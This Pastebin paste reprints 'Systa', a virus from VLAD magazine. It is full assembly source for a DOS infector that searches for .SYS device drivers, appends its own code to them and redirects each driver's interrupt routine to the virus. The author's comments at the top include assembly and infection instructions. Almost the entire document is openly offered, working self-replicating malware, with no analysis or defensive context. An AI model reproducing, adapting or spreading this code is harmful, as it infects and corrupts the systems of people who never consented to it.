Advertisement
FlyFar

VLAD Magazine - Issue AF - ARTICLE.3_2 - Systa Virus - Direct action parasitic .SYS infector

Jul 1st, 2023
1,366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 3.72 KB | Cybersecurity | 0 0
  1. ;       Systa Virus
  2. ;
  3. ;       Direct action parasitic SYS infector by Qark.
  4. ;
  5. ; This virus has less potential for spread than a .BAT infector !
  6. ; What can I say ?  This virus sux..
  7. ; Although, maybe this virus can be used to demonstrate SYS infection.
  8. ;
  9. ; To assemble: a86 systa.asm
  10. ;              ren systa.bin systa.com
  11. ; To infect just run the .com in the same directory as ansi.sys.
  12. ;
  13.  
  14.         org     0
  15.  
  16.         push    ax
  17.         push    bx
  18.         push    cx
  19.         push    dx
  20.         push    si
  21.         push    di
  22.         push    ds
  23.         push    es
  24.  
  25.         push    cs
  26.         pop     ds
  27.         push    cs
  28.         pop     es
  29.  
  30.         mov     si,-1
  31.         org     $-2                     ;Delta offset
  32. delta   dw      100h
  33.  
  34.         mov     ax,[si+sysreturn]       ;Setup return to host
  35.         mov     word ptr [8],ax
  36.         sub     ax,offset origsys+2
  37.         sub     ax,si
  38.         mov     word ptr [si+origsys],ax
  39.  
  40.         mov     ah,2fh                  ;Save DTA
  41.         int     21h
  42.         mov     word ptr [si+dta],bx
  43.         mov     word ptr [si+dta+2],es
  44.  
  45.         mov     ah,1ah                  ;Set DTA
  46.         lea     dx,[si+newdta]
  47.         int     21h
  48.  
  49.         mov     ah,4eh                  ;Find first
  50. findnext:        
  51.         mov     cx,3
  52.         lea     dx,[si+wild]
  53.         int     21h
  54.         jnc     okfind
  55.         jmp     return_sys
  56. okfind:
  57.         mov     ax,3d02h                ;Open
  58.         lea     dx,[si+newdta+1eh]
  59.         int     21h
  60.         jnc     ok_open
  61.         jmp     return_sys
  62. ok_open:
  63.         mov     bx,ax
  64.  
  65.         mov     ah,3fh                  ;Read header
  66.         mov     cx,10
  67.         lea     dx,[si+sysheader]
  68.         int     21h
  69.  
  70.         mov     di,dx
  71.         mov     ax,word ptr [di]
  72.         inc     ax                      ;Sys files begin with FFFF
  73.         jnz     closeffirst
  74.         mov     ax,word ptr [di+8]      ;We infect the "interrupt" routine
  75.         mov     word ptr [si+sysreturn],ax
  76.        
  77.         mov     ax,4202h                ;EOF
  78.         xor     cx,cx
  79.         cwd
  80.         int     21h
  81.  
  82.         push    ax                      ;Infection check
  83.         sub     ax,400
  84.         cmp     ax,word ptr [di+8]
  85.         pop     ax
  86.         jb      closeffirst
  87.         mov     word ptr [di+8],ax      ;Point interrupt routine to virus.
  88.         mov     word ptr [si+delta],ax
  89.  
  90.         mov     ah,40h                  ;Write virus
  91.         mov     cx,vsize
  92.         mov     dx,si
  93.         int     21h
  94.  
  95.         mov     ax,4200h                ;Start
  96.         xor     cx,cx
  97.         cwd
  98.         int     21h
  99.  
  100.         mov     ah,40h                  ;Write modified header
  101.         mov     cx,10
  102.         lea     dx,[si+sysheader]
  103.         int     21h
  104.  
  105.         mov     ah,3eh                  ;Close
  106.         int     21h
  107.         jmp     return_sys
  108.  
  109. closeffirst:
  110.         mov     ah,3eh                  ;Close
  111.         int     21h
  112.        
  113. ffirst:
  114.        mov      ah,4fh                  ;Find next
  115.        jmp      findnext
  116.  
  117. return_sys:
  118.         mov     dx,word ptr [si+dta]    ;Restore DTA
  119.         mov     ds,word ptr [si+dta+2]
  120.         mov     ah,1ah
  121.         int     21h
  122.  
  123.         pop     es
  124.         pop     ds
  125.         pop     di
  126.         pop     si
  127.         pop     dx
  128.         pop     cx
  129.         pop     bx
  130.         pop     ax
  131.        
  132.         db      0e9h
  133. origsys dw      0
  134.         int     20h
  135.  
  136.         db      "SySta by Qark/VLAD",0
  137.  
  138. sysreturn       dw      offset origsys+2+100h
  139.  
  140. dta     dw      0
  141.         dw      0
  142. wild    db      "*.sys",0
  143.  
  144. vsize   equ     $
  145.  
  146. sysheader       dd      0
  147. sysattrib       dw      0
  148. strategy        dw      0
  149. interrupt       dw      0
  150.  
  151.  
  152. newdta  db      128 dup (0)
  153. buffer:
Tags: virus vlad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement